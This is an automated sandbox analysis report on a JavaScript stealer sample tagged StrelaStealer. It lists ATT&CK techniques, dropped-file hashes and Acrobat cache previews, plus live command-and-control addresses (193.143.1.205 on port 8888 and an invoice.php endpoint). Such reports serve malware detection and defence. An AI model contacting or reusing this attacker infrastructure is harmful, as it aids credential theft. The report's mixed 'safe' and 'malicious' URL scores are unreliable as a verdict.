Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
15943270342346830855.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
15943270342346830855.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Ai	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Ei	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3421319875.00000204782B2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2203396408.00000204781A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/Ai	net.exe, 00000007.00000002.2197609169.000001B8D55B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2197609169.000001B8D5588000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2197609169.000001B8D5588000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197609169.000001B8D55DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197609169.000001B8D55B2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Ei	net.exe, 00000007.00000002.2197609169.000001B8D55B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588650
Start date and time:	2025-01-11 03:41:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15943270342346830855.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 13.107.246.45, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:42:04	API Interceptor	20x Sleep call for process: powershell.exe modified
21:42:08	API Interceptor	1x Sleep call for process: net.exe modified
21:42:08	API Interceptor	2x Sleep call for process: svchost.exe modified
21:42:21	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307170117053783
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugi:gJjJGtpTq2yv1AuNZRY3diu8iBVqFw
MD5:	26C11EBE809A55D1A62D320D059DE64C
SHA1:	8FFA1538DBE6D620AFF1D568B82CDDC6FE709B07
SHA-256:	02323133069B859CFDFE5883F9E750E442B6348B29F911A1DEC31FCEBC026700
SHA-512:	D16FAFF9A37B5ABF535009143CCF847BBB4F1D58F2EB38BE369CDDD3B9EA5DD5A1C1F64C31F183E3CCAFD2672CA206C19E044709C906B752839EF792894853D1
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbf87a8f6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585700550770617
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	896D2BCAA4FC4850AAF8A08A80CE5CA1
SHA1:	8546618CF86BA7CAB5C8EB6F93BA950DD6B3A72F
SHA-256:	E29BCFA757C507F5FDC74BB5F22FAE27C83F596ACAC06B71398A51F74CA9D4E4
SHA-512:	05CA62C763DDD9C4A80BF575D160AFB81E5105F98A377617ECA60756948EDA6A017B1AF7F80F4B952BC5B4D8906F185796B4CA244EF830E6B67D3F65D589276A
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................G.......}..................2b\..*...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08054812724191357
Encrypted:	false
SSDEEP:	3:DTGEYebz91GkGuAJkhvekl1BwrltallrekGltll/SPj:PdzbxrxlFJe3l
MD5:	E4419A81ED0F0F032026ED7BA03E769E
SHA1:	49CA61A9A91CCE9EE072EA6AB2219996996EB46E
SHA-256:	075426E125AB468175240044221A0E47E55000CFD204DFDE65508C7CAA43CDFA
SHA-512:	0B3986BE246F5E54BF6FECD163DDB2DC5E63D0E7B94A5D9D4B8283685D6D8A0C0E97F460592113CA4709D2294CC609885C7A039112E513BD90BFB20D9CFA094C
Malicious:	false
Preview:	.v......................................;...{......}.......{...............{.......{...XL......{..................2b\.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1821021321214245
Encrypted:	false
SSDEEP:	6:iO4qVd+q2P92nKuAl9OmbnIFUtSqVOqZmwsqVQPVkwO92nKuAl9OmbjLJ:77Yv4HAahFUtpj//Q5LHAaSJ
MD5:	11DE61B597C4EC10B2D744897F80D8A1
SHA1:	8E749D778C45115ACC4E7100CC08214A726ACFEC
SHA-256:	357AC7CFC767B96BD720C53323CB0957652E6C6F83A63FAC39C15C1817239488
SHA-512:	A2A976070B1CE05CB174EDE6017B08582EF7D882DDE02BF591D16AB3411B33F5A0070AED371C3CC28F349CE4AEBD906484A4A0F1F97368408A6F8FA8894509CA
Malicious:	false
Preview:	2025/01/10-21:42:08.412 1638 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:08.414 1638 Recovering log #3.2025/01/10-21:42:08.415 1638 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1821021321214245
Encrypted:	false
SSDEEP:	6:iO4qVd+q2P92nKuAl9OmbnIFUtSqVOqZmwsqVQPVkwO92nKuAl9OmbjLJ:77Yv4HAahFUtpj//Q5LHAaSJ
MD5:	11DE61B597C4EC10B2D744897F80D8A1
SHA1:	8E749D778C45115ACC4E7100CC08214A726ACFEC
SHA-256:	357AC7CFC767B96BD720C53323CB0957652E6C6F83A63FAC39C15C1817239488
SHA-512:	A2A976070B1CE05CB174EDE6017B08582EF7D882DDE02BF591D16AB3411B33F5A0070AED371C3CC28F349CE4AEBD906484A4A0F1F97368408A6F8FA8894509CA
Malicious:	false
Preview:	2025/01/10-21:42:08.412 1638 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:08.414 1638 Recovering log #3.2025/01/10-21:42:08.415 1638 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.183237455116087
Encrypted:	false
SSDEEP:	6:iO4qrM+q2P92nKuAl9Ombzo2jMGIFUtSqwTAZmwsqdMVkwO92nKuAl9Ombzo2jM4:7VM+v4HAa8uFUt2A/zMV5LHAa8RJ
MD5:	A920EBCDB8BC228EFD08B1F370C1F95E
SHA1:	4AEC8FCB630F165E736898B3380571ADB4C33D76
SHA-256:	763A5B922002ACC697A9EB18B8F342BF89B863B73008A5232D21ADB428D616D7
SHA-512:	B1396ADBA653EB3999E04DF1C27E147B0FE5A4D2B00D68138518710861C0DB6627C29EBC32BFD0DDC2427D77CE80A826EC6B41CA4EB61566C834A4480947E838
Malicious:	false
Preview:	2025/01/10-21:42:08.568 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:08.570 198c Recovering log #3.2025/01/10-21:42:08.571 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.183237455116087
Encrypted:	false
SSDEEP:	6:iO4qrM+q2P92nKuAl9Ombzo2jMGIFUtSqwTAZmwsqdMVkwO92nKuAl9Ombzo2jM4:7VM+v4HAa8uFUt2A/zMV5LHAa8RJ
MD5:	A920EBCDB8BC228EFD08B1F370C1F95E
SHA1:	4AEC8FCB630F165E736898B3380571ADB4C33D76
SHA-256:	763A5B922002ACC697A9EB18B8F342BF89B863B73008A5232D21ADB428D616D7
SHA-512:	B1396ADBA653EB3999E04DF1C27E147B0FE5A4D2B00D68138518710861C0DB6627C29EBC32BFD0DDC2427D77CE80A826EC6B41CA4EB61566C834A4480947E838
Malicious:	false
Preview:	2025/01/10-21:42:08.568 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:08.570 198c Recovering log #3.2025/01/10-21:42:08.571 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.049233924473594
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqB2sBdOg2Hucaq3QYiubxnP7E4T3OF+:Y2sRdswdMHR3QYhbxP7nbI+
MD5:	828A6EE817B15FC57517EF7A9C37E9B0
SHA1:	E1C20AA6F1EFBBE12A4C623EEB1DC78B81496BF3
SHA-256:	80EE3491A0F2EA56580751A69B2C7885D8000C63E62A4CADE168F7487211832F
SHA-512:	0FB623227A999F71685519B6B73F23C8C3D1301224A6729A58746B0F53826414A19C578B2CA8279CD0FD33E54D09088BCDB74D873D86B305097B7911A331B6E4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123340810730","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148298},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fc17552c-91df-48bb-8111-fce9a5d01db9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.049233924473594
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqB2sBdOg2Hucaq3QYiubxnP7E4T3OF+:Y2sRdswdMHR3QYhbxP7nbI+
MD5:	828A6EE817B15FC57517EF7A9C37E9B0
SHA1:	E1C20AA6F1EFBBE12A4C623EEB1DC78B81496BF3
SHA-256:	80EE3491A0F2EA56580751A69B2C7885D8000C63E62A4CADE168F7487211832F
SHA-512:	0FB623227A999F71685519B6B73F23C8C3D1301224A6729A58746B0F53826414A19C578B2CA8279CD0FD33E54D09088BCDB74D873D86B305097B7911A331B6E4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123340810730","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148298},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.230697123746065
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUGlzW2eu7:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL1
MD5:	8C64A32AA913D8DD463E61D02EDA30EE
SHA1:	A903F012C0AB4CF9D1EAC17903E5C3869D6DEC0F
SHA-256:	CD6478D7FFFBAA623249B91FE0A60D9523F70CE377E48837F012EC2621C23455
SHA-512:	2D48337EB7A1F00BC853E229FDFFF4429BE33D62F2D40E238AD4597F2BB7F8817EE97AF2D2C06E95DEDCE9D7C51B1F9788721141ED598CDD7DB2160C77BBC3F2
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.204971990344247
Encrypted:	false
SSDEEP:	6:iO4q9pM+q2P92nKuAl9OmbzNMxIFUtSqkZmwsqEjMVkwO92nKuAl9OmbzNMFLJ:7LpM+v4HAa8jFUtQ/OjMV5LHAa84J
MD5:	0BEC0C408C299405BF4A6F08D318A810
SHA1:	D58E2D9268155E7937C4591E38E79B44906EBF33
SHA-256:	4D81BDB8EDDD44E2AF80B963DBBC2284DB4FF173DB5C0BDF9F61744F1FA5E8F5
SHA-512:	C9B6C7498C36FEBBE2357FE2AF69C553A5C5DB46C60AA5B5D99A8FEAFB49FAD8A340B6580CC42EDF339AE6D87774F67F1751E97FBDDE90956F6FA52060268B46
Malicious:	false
Preview:	2025/01/10-21:42:08.704 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:08.735 198c Recovering log #3.2025/01/10-21:42:08.756 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.204971990344247
Encrypted:	false
SSDEEP:	6:iO4q9pM+q2P92nKuAl9OmbzNMxIFUtSqkZmwsqEjMVkwO92nKuAl9OmbzNMFLJ:7LpM+v4HAa8jFUtQ/OjMV5LHAa84J
MD5:	0BEC0C408C299405BF4A6F08D318A810
SHA1:	D58E2D9268155E7937C4591E38E79B44906EBF33
SHA-256:	4D81BDB8EDDD44E2AF80B963DBBC2284DB4FF173DB5C0BDF9F61744F1FA5E8F5
SHA-512:	C9B6C7498C36FEBBE2357FE2AF69C553A5C5DB46C60AA5B5D99A8FEAFB49FAD8A340B6580CC42EDF339AE6D87774F67F1751E97FBDDE90956F6FA52060268B46
Malicious:	false
Preview:	2025/01/10-21:42:08.704 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:08.735 198c Recovering log #3.2025/01/10-21:42:08.756 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklSiWkNttfllXlE/HT8kp7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKLyteT8e7VNMa8RdWBwRd
MD5:	9078A016927D40A9B6EF5DD0F856B065
SHA1:	6B513B0AC0513E6FDE218B6E91F2913097E5E1DC
SHA-256:	62525A834799E570D77E0E49707DF095777D67E7D2F08521FCCE8349889C5256
SHA-512:	D4189F991D51DC748E57BF9FC7C0771ACC5DF682DE35572B147D4F7B23FE16629FBD58C43431DEBF16399932CD6EC0DAA3F61A2B7B8BA98E4F98F78669E9BD43
Malicious:	false
Preview:	p...... ........a..o.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
